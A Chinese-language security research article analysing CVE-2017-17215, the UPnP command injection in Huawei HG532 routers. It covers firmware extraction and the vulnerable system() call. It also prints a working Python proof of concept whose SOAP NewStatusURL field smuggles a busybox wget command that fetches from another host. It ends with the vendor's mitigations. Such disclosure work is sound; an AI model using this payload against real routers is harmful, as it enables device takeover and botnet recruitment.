作者:fenix@知道創宇404實驗室
English version: http://www.bjnorthway.com/508/

背景

華為 HG532 系列路由器是一款為家庭和小型辦公用戶打造的高速無線路由器產品。

2017/11/27,Check Point 軟件技術部門報告了一個華為 HG532 產品的遠程命令執行漏洞(CVE-2017-17215)【1】

該漏洞在被報告前,互聯網上產生了大量未被關注的此類漏洞攻擊利用包,遍及全球多個國家。Payload 已被證實是知名病毒 Mirai 的升級版變種 OKIRU/SATORI。該 Payload 功能非常簡單,主要通過發送精心制作的 UDP/TCP 報文來對目標發起 DDoS 攻擊。

2017/11/23,知道創宇 404 實驗室的 ZoomEye 網絡探針系統也捕獲到了該攻擊的 Payload。

漏洞分析

固件下載

網上有 HG532e 版本的公開固件,下載地址【2】

下載該固件,利用 binwalk 直接解壓。

目標系統是 MIPS 32 位 大端架構。

漏洞分析

根據 Check Point 的報告【1】,該遠程命令執行漏洞的漏洞點位于 UPnP 服務中。

UPnP 是由“通用即插即用論壇”(UPnP? Forum)推廣的一套網絡協議。該協議的目標是使家庭網絡(數據共享、通信和娛樂)和公司網絡中的各種設備能夠相互無縫連接,并簡化相關網絡的實現。

直接將固件中負責 UPnP 服務的 upnp 程序扔到 IDA。

通過字符串 NewStatusURL 對漏洞點進行定位。

跟蹤數據交叉引用

漏洞點如下

ATP_XML_GetChildNodeByName 函數的定義如下。

程序首先進行 SOAP XML 報文解析,得到元素 NewDownloadURL 和 NewStatusURL 的值。然后進行以下拼接,最終調用 system() 函數執行。

snprintf($s0, 0x400, 'upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -', NewDownloadURL, NewStatusURL)

system($s0)

upg 是路由器的一個升級程序,他的參數功能如下。

現在我們有兩個命令注入點,NewDownloadURLNewStatusURL

漏洞驗證

目標系統提供了以下命令。

利用 wget 命令進行漏洞測試。發送以下報文。

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox wget -g 192.168.1.2 -l /tmp/1 -r /1;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

可以看到,我們成功在監聽的端口上收到了請求。

值得一提的是,HG532e 路由器的 uPnP 服務和防火墻都是默認開啟的,防火墻默認等級為低級。

在默認設置下,從 WAN 口訪問 37215 端口會被防火墻攔截,漏洞無法被利用。

防護方案

2017/11/30,華為官方發布了安全公告【4】,確認了該漏洞。 公告中提到了以下漏洞緩解措施

  • 配置路由器內置的防火墻
  • 更改路由器默認密碼
  • 在路由器外部署防火墻

是的,沒找到固件升級包,所以,沒有補丁分析...

總結

  1. 和愛爾蘭寬帶路由器 SetNTPServers 命令注入【3】類似,這個漏洞整體來看就是一個簡單的命令拼接。
  2. 該漏洞也為我們漏洞挖掘提供了一個很好的方向。snprintf()、system() 等函數附近的程序邏輯都應該被重點關注。
  3. 還是那句話,一切進入函數的變量都是有害的。大部分遠程命令執行漏洞要么是過濾不全,導致命令拼接。要么是沒有進行變量長度控制,造成緩沖區溢出。關于這點設備供應商應該負責任,安全開發意識非常重要。

參考鏈接

【1】 Check Point 漏洞報告
https://research.checkpoint.com/good-zero-day-skiddie/
【2】 HG532e 固件下載
https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar
【3】 愛爾蘭寬帶路由器 SetNTPServers 命令注入
https://www.seebug.org/vuldb/ssvid-97024
【4】 華為安全公告
http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/490/